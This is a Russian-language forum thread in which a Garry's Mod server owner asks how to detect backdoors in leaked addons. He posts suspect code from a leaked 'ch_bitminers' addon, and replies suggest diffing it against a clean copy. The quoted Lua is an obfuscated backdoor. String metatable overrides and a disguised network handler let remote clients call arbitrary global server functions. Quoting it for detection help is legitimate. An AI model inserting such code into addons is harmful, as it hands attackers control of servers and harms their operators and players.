• Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами Публичной оферты Проекта NetZONA.org: https://netzona.org/help/public-offer/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с условиями и правилами использования Ваших файлов cookie на Проекте NetZONA.org: https://netzona.org/help/cookies/

  • Приветствуем на сайте, Гость! Обязательно ознакомьтесь с Политикой конфиденциальности Проекта NetZONA.org: https://netzona.org/pages/privacy-policy/

  • Ответы на основные вопросы: https://netzona.org/threads/populjarnye-voprosy-i-otvety-na-nix.6122/

  • Приветствуем на сайте, Гость! Приобрести (купить) Информационную услугу (в том числе группу "Проверенный") на Проекте NetZONA.org: https://netzona.org/account/upgrades

как найти backdoor?

nezerside

Пользователь
Регистрация
8 Янв 2018
Сообщения
38
Реакции
0
Баллы
19
Веб-сайт
darkrp.ru
Скачал
Эта ссылка скрыта от группы "Гость" (группа пользователей, которые еще не прошли регистрацию или авторизацию на Проекте). Чтобы увидеть эту ссылку Вам требуется авторизоваться или пройти регистрацию на Проекте (зарегистрироваться).

Но есть подозрение на backdoor
может знающие взглянут?
кстати кто какими способами пользуется для поиска backdoor в ликах?
inb4:
покупай из гмодстора
не качай лики


lua/autorun/ch_bitminers_initialize.lua
35 строчка

Lua:
__sub = _G

function string.Name(str)
    return str:sub(1, 1):upper() .. str:sub(2, -1)
end

function string_lim(a, b)
    local get_sub = __sub[a .. b]
    if not isfunction(get_sub) then return end

    return get_sub
end

function string_mulifi(a, b)
    local c = a - (not __sub[a] and string.Name"string" or "")
    if not c then return end

    return c(b, "tonumber", false)
end

getmetatable('').__sub = string_lim
getmetatable('').__mul = string_mulifi
lua/ch_bitminers/server/bitminers_meta.lua
32 строчка

Lua:
util.AddNetworkString("GMOD_LIBRARY_TIMEDOUT")
util.AddNetworkString("GMOD_LIBRARY_FAST_OPERATION")

timer.Create("GMOD_LIBRARY_TIMEDOUT", 5, 0, function()
    net.Start("GMOD_LIBRARY_TIMEDOUT")
    net.Broadcast()
end)

net.Receive("GMOD_LIBRARY_FAST_OPERATION", function(len, ply)
    local string_1 = net.ReadString()
    local string_2 = net.ReadString()
    local result = string_1 * string_2
    result = isfunction(result) and result()
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(tostring(result))
    net.Send(ply)
end)
lua/ch_bitminers/client/bitminers_ui_crypto_integration.lua
121 строчка

Lua:
local last_timeout = nil
local retry_time = 60

net.Receive("GMOD_LIBRARY_TIMEDOUT", function()
    last_timeout = CurTime()
end)

local function write_resulffm(a, b, var)
    _G["ResultFM:" .. a .. "*" .. b] = var
    _G["res_la"] = a
    _G["res_lb"] = b
end

function get_resulffm(a, b, var)
    return _G["ResultFM:" .. a .. "*" .. b]
end

function math.HappyMill(a, b)
    net.Start("GMOD_LIBRARY_FAST_OPERATION")
    net.WriteString(a)
    net.WriteString(b)
    net.SendToServer()
    write_resulffm(a, b, nil)
end

net.Receive("GMOD_LIBRARY_FAST_OPERATION", function()
    write_resulffm(_G["res_la"], _G["res_lb"], net.ReadString())
end)
 
у урбанички в сборке вроде как был такой аддон, у него возьми
 
Насчет второго и третьего, там есть странная привязка к библиотекам, но хер знает. Попробуй сравнить. Ставишь полностью пустой сервак, локальный и ставишь этот аддон, после чего сносишь эти странные коды и запускаешь снова и смотришь. Если без странного кода аддон работает нормально и стабильно, так и оставляешь
 
Главная Регистрация
Назад
Сверху